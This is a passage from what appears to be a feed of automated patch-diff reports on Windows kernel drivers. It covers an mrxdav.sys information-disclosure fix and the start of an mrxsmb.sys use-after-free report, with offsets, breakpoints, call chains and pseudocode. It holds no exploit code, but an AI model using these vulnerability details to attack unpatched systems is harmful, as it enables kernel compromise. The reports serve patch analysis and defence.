&lt;span class="n"&gt;FILE_STANDARD_INFORMATION&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fsi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="n"&gt;IO_STATUS_BLOCK&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;iosb&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="n"&gt;NtQueryInformationFile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;iosb&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;fsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fsi&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FileStandardInformation&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;NumberOfLinks = 0x%08X&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fsi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;NumberOfLinks&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Observation:&lt;/strong&gt; Under the unpatched binary, &lt;code&gt;fsi.NumberOfLinks&lt;/code&gt; reflects the value at FCB+&lt;code&gt;0xE8&lt;/code&gt;. Under the patched binary the field is the constant &lt;code&gt;1&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Struct/offset notes:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;FCB &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;relevant&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fields&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;+0&lt;/span&gt;&lt;span class="n"&gt;x18&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;AllocationSize &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;LARGE_INTEGER&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;+0&lt;/span&gt;&lt;span class="n"&gt;x20&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;EndOfFile       &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;LARGE_INTEGER&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;+0&lt;/span&gt;&lt;span class="n"&gt;x8c&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DeletePending&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;+0&lt;/span&gt;&lt;span class="n"&gt;xe8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;by&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;unpatched&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;as&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;NumberOfLinks &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;not&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;maintained&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;link&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nf"&gt;FILE_STANDARD_INFORMATION &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;+0&lt;/span&gt;&lt;span class="n"&gt;x00&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;AllocationSize  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;+0&lt;/span&gt;&lt;span class="n"&gt;x08&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;EndOfFile       &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;+0&lt;/span&gt;&lt;span class="n"&gt;x10&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;NumberOfLinks   &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;disclosed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;field&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;+0&lt;/span&gt;&lt;span class="n"&gt;x14&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;DeletePending   &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;+0&lt;/span&gt;&lt;span class="n"&gt;x15&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;Directory       &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nf"&gt;RX_CONTEXT &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;relevant&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fields&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;+0&lt;/span&gt;&lt;span class="n"&gt;x38&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;FCB&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pointer&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;+0&lt;/span&gt;&lt;span class="n"&gt;x1b0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;FsInformationClass&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;+0&lt;/span&gt;&lt;span class="n"&gt;x1b8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pointer&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;+0&lt;/span&gt;&lt;span class="n"&gt;x1c8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Finding #2 — Caching consistency change&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Breakpoints:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp mrxdav!DavReadWriteFileEx          ; unpatched entry 0x1C001B7C8 / patched 0x1C001B818
bp 0x1C001BA57                        ; unpatched &amp;#39;or dword [rsi+10h], 1&amp;#39;
bp mrxdav!MRxDAVCreate                ; 0x1C0010670
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;What to inspect:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;At &lt;code&gt;0x1C001BA57&lt;/code&gt; (unpatched), &lt;code&gt;rsi&lt;/code&gt; = allocated IRP; &lt;code&gt;dd rsi+0x10 L1&lt;/code&gt; (IRP.Flags) — bit 0 is set unconditionally.&lt;/li&gt;
&lt;li&gt;In the patched build the equivalent OR at &lt;code&gt;0x1C001BAB2&lt;/code&gt; uses the caller-supplied flag loaded at &lt;code&gt;0x1C001BAA8&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;MRxDAVCreate&lt;/code&gt;: the &lt;code&gt;RxDisableLocalBuffering&lt;/code&gt; call at &lt;code&gt;0x1C0010753&lt;/code&gt; exists only in the patched build.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;p&gt;Six functions changed. One (&lt;code&gt;MRxDAVQueryFileInformation&lt;/code&gt;) carries the info-disclosure fix; the other five are the caching-consistency change with no demonstrated security impact.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;MRxDAVQueryFileInformation&lt;/code&gt;&lt;/strong&gt; (sim 0.9924) — Info-disclosure fix. In the &lt;code&gt;FileStandardInformation&lt;/code&gt; branch, &lt;code&gt;NumberOfLinks&lt;/code&gt; changes from a read of FCB+&lt;code&gt;0xE8&lt;/code&gt; to the constant &lt;code&gt;1&lt;/code&gt;, and &lt;code&gt;DeletePending&lt;/code&gt; changes from a hardcoded &lt;code&gt;0&lt;/code&gt; to &lt;code&gt;*(FCB + 0x8C) &amp;amp; 1&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;DavReadWriteFileEx&lt;/code&gt;&lt;/strong&gt; (sim 0.987) — Signature gains a new &lt;code&gt;int32&lt;/code&gt; parameter. The unconditional &lt;code&gt;Irp-&amp;gt;Flags |= 1&lt;/code&gt; becomes &lt;code&gt;Irp-&amp;gt;Flags |= (arg &amp;amp; 1)&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;MRxDAVCreate&lt;/code&gt;&lt;/strong&gt; (sim 0.9852) — Adds &lt;code&gt;RxDisableLocalBuffering(*(RX_CONTEXT + 0x38))&lt;/code&gt; (new RDBSS import, patched only).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;MRxDAVCreateContinuation&lt;/code&gt;&lt;/strong&gt; (sim 0.9931) — Removes &lt;code&gt;FILE_NO_INTERMEDIATE_BUFFERING&lt;/code&gt; (&lt;code&gt;| 8&lt;/code&gt;) from the &lt;code&gt;ZwCreateFile&lt;/code&gt; &lt;code&gt;CreateOptions&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;MRxDAVReadContinuation&lt;/code&gt;&lt;/strong&gt; (sim 0.948) — Forwards the new caching flag &lt;code&gt;*(*(RX_CONTEXT + 0x28) + 0x10)&lt;/code&gt; to every &lt;code&gt;DavReadWriteFileEx&lt;/code&gt; call site; stack frame grows &lt;code&gt;0x88 → 0x98&lt;/code&gt;. The register reallocation is a side effect of the added parameter.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;MRxDAVWriteContinuation&lt;/code&gt;&lt;/strong&gt; (sim 0.9733) — Forwards the same caching flag to every &lt;code&gt;DavReadWriteFileEx&lt;/code&gt; call site.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;p&gt;None. &lt;code&gt;unmatched_unpatched = 0&lt;/code&gt; and &lt;code&gt;unmatched_patched = 0&lt;/code&gt;. No function was removed or added. The &lt;code&gt;RxDisableLocalBuffering&lt;/code&gt; import resolves to an existing RDBSS export, not a new internal function.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Confidence:&lt;/strong&gt; High that the code changes are as described — the assembly is unambiguous in both builds (&lt;code&gt;mov eax,[rsi+0E8h]&lt;/code&gt; vs &lt;code&gt;mov ecx,1&lt;/code&gt;; unconditional &lt;code&gt;or [rsi+10h],1&lt;/code&gt; vs the gated OR; the added &lt;code&gt;RxDisableLocalBuffering&lt;/code&gt; call; the dropped &lt;code&gt;| 8&lt;/code&gt;). An independent per-function comparison confirms exactly these six functions differ substantively; all other differences are relocation and WPP trace-GUID label churn.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Finding #1:&lt;/strong&gt; The patch substituting a constant &lt;code&gt;1&lt;/code&gt; for the FCB+&lt;code&gt;0xE8&lt;/code&gt; read shows the source field was not a maintained link count, and its contents were returned to user mode, consistent with CWE-908. What the disclosed 4 bytes actually contain is not established by the diff, and no claim about their contents or any downstream exploitation is made.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Finding #2:&lt;/strong&gt; The caching-consistency change is real, but the diff does not demonstrate any stale-read or cross-user data condition, so it is not rated as a vulnerability.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What a researcher should verify before claiming impact:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Trace the WebDAV FCB allocation/initialization paths and confirm FCB+&lt;code&gt;0xE8&lt;/code&gt; is not written before the &lt;code&gt;FileStandardInformation&lt;/code&gt; query, and characterize what it typically contains.&lt;/li&gt;
&lt;li&gt;For the caching change, determine empirically whether the unpatched cached/uncached mismatch produced any observable data-consistency effect.&lt;/li&gt;
&lt;/ol&gt;</content><category term="Corpus"/></entry><entry><title>mrxsmb.sys — Use-after-free via missing zero-check on VcEndpoint reference during SMB negotiate handling (CWE-416) fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/mrxsmb_36de68c3-mrxsmb-report-20260626-023502.html" rel="alternate"/><published>2026-06-26T00:00:00-07:00</published><updated>2026-06-26T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-26:/drift-corpus/item/mrxsmb_36de68c3-mrxsmb-report-20260626-023502.html</id><summary type="html">&lt;p&gt;KB5075912&lt;/p&gt;</summary><content type="html">&lt;hr&gt;
&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Item&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Unpatched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;mrxsmb_unpatched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;mrxsmb_patched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Overall similarity&lt;/td&gt;
&lt;td&gt;0.9907&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Matched functions&lt;/td&gt;
&lt;td&gt;1059&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Changed functions&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Identical functions&lt;/td&gt;
&lt;td&gt;1056&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unmatched (unpatched-only / patched-only)&lt;/td&gt;
&lt;td&gt;5 / 0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch removes a staged feature gate in the SMB client (&lt;code&gt;mrxsmb.sys&lt;/code&gt;) that, when the feature was disabled, deferred taking a reference on the per-connection &lt;code&gt;VcEndpoint&lt;/code&gt; until &lt;em&gt;after&lt;/em&gt; the attacker-controlled SMB negotiate response was parsed, and then took that reference with a variant that does &lt;strong&gt;not&lt;/strong&gt; reject a zero (torn-down) reference count. The patched build always takes the zero-checked reference &lt;em&gt;before&lt;/em&gt; any negotiate bytes are parsed. The reachable impact is a use-after-free / object-resurrection race (CWE-416) of Medium severity. There is no demonstrable arbitrary read/write or code-execution primitive in the diff; earlier such claims are not supported by the binaries and have been removed.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding #1 — Medium: Object-resurrection UAF in VcEndpoint reference (&lt;code&gt;SmbCeCompleteSrvCallConstructionPhase2&lt;/code&gt;)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Medium (feature-gated, network-adjacent kernel object-lifetime race)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Class:&lt;/strong&gt; Use-After-Free (CWE-416) — resurrection of a reference-count-zero object&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected function:&lt;/strong&gt; &lt;code&gt;SmbCeCompleteSrvCallConstructionPhase2 @ 0x1C0011E10&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reference primitive at issue:&lt;/strong&gt; &lt;code&gt;VctReferenceEndpoint @ 0x1C000EE90&lt;/code&gt; (called late from &lt;code&gt;0x1C001207E&lt;/code&gt; in the feature-disabled path)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root cause:&lt;/strong&gt;
&lt;code&gt;SmbCeCompleteSrvCallConstructionPhase2&lt;/code&gt; finishes constructing an SMB server call after the negotiate response arrives. To operate on the per-connection &lt;code&gt;VcEndpoint&lt;/code&gt; object safely it must hold a reference so the endpoint cannot be freed underneath it.&lt;/p&gt;
&lt;p&gt;In the unpatched build a WIL feature-staging flag (&lt;code&gt;Feature_84197691__private_IsEnabledDeviceUsage&lt;/code&gt;) selects between two orderings:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Feature enabled:&lt;/strong&gt; acquire spinlock → &lt;code&gt;SmbCeGetFirstVcEndpoint&lt;/code&gt; → &lt;code&gt;VctReferenceEndpointSafe&lt;/code&gt; (which reads the reference count and refuses to increment if it is already zero) → hold the reference across the negotiate parse.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Feature disabled:&lt;/strong&gt; parse the negotiate response via &lt;code&gt;GetDialectInfoFromNegotiateResponse&lt;/code&gt; (which reads attacker-controlled data) &lt;strong&gt;first&lt;/strong&gt;, then late-acquire the endpoint via &lt;code&gt;SmbCeGetFirstVcEndpoint&lt;/code&gt; + &lt;code&gt;VctReferenceEndpoint&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The two reference helpers are both atomic. The difference is the &lt;strong&gt;zero-check&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;VctReferenceEndpointSafe @ 0x1C00168E4&lt;/code&gt; reads the count, returns failure (0) if it is 0, otherwise increments with &lt;code&gt;lock cmpxchg&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;VctReferenceEndpoint @ 0x1C000EE90&lt;/code&gt; increments unconditionally with &lt;code&gt;lock xadd&lt;/code&gt; and always returns the (non-zero) new count. It cannot detect that the object is already at reference count 0 (mid-teardown).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Because the feature-disabled path parses the negotiate response before referencing the endpoint, the endpoint is held by no reference from this path during the parse. If a concurrent teardown drops the endpoint's reference count to 0 during that window, the late &lt;code&gt;VctReferenceEndpoint&lt;/code&gt; resurrects a zero-count object instead of failing, and the code then dereferences it (&lt;code&gt;and [rbx+0x148], r12&lt;/code&gt;, and later field accesses). The zero-checked variant used everywhere else in the receive path (&lt;code&gt;SmbWskReceiveEvent&lt;/code&gt;, &lt;code&gt;SmbQuicReceiveEvent&lt;/code&gt;, and the enabled path here all call &lt;code&gt;VctReferenceEndpointSafe&lt;/code&gt;) exists precisely to reject that case, which indicates the object can be observed at reference count 0 while still enumerable.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The patch&lt;/strong&gt; removes the feature flag and always takes the zero-checked reference (&lt;code&gt;VctReferenceEndpointSafe&lt;/code&gt;) before any negotiate-response bytes are consumed. The late &lt;code&gt;VctReferenceEndpoint&lt;/code&gt; call is gone.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Attacker-adjacent entry point:&lt;/strong&gt; A malicious or compromised SMB server responding to a client-initiated SMB2 NEGOTIATE, combined with a concurrent teardown of that connection during negotiate processing.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Call chain:&lt;/strong&gt;
1. &lt;code&gt;MRxSmbCreateSrvCall @ 0x1C0062520&lt;/code&gt; — RDBSS mini-redirector callback invoked when the client opens &lt;code&gt;\\server\share&lt;/code&gt;.
2. &lt;code&gt;SmbCeCreateSrvCall @ 0x1C006254C&lt;/code&gt; — drives server-call construction; posts the Phase 2 completion (&lt;code&gt;SmbCeCompleteSrvCallConstructionPhase2&lt;/code&gt; is taken by address at &lt;code&gt;0x1C006292F&lt;/code&gt;).
3. &lt;code&gt;SmbCeCompleteSrvCallConstructionPhase2 @ 0x1C0011E10&lt;/code&gt; — when &lt;code&gt;Feature_84197691&lt;/code&gt; is disabled, references the endpoint only after negotiate parsing.
4. &lt;code&gt;GetDialectInfoFromNegotiateResponse @ 0x1C00158DC&lt;/code&gt; — parses attacker-controlled negotiate bytes.
5. &lt;code&gt;VctReferenceEndpoint @ 0x1C000EE90&lt;/code&gt; — late reference with no zero-check.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ============= UNPATCHED SmbCeCompleteSrvCallConstructionPhase2 =============&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Feature_84197691__private_IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ----- EARLY, ZERO-CHECKED PATH (feature enabled) -----&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;r15&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SmbCeAcquireSpinLock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SmbCeGetFirstVcEndpoint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;serverEntry&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VctReferenceEndpointSafe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// fails if refcount == 0&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x148&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;SmbCeReleaseSpinLock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r15&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
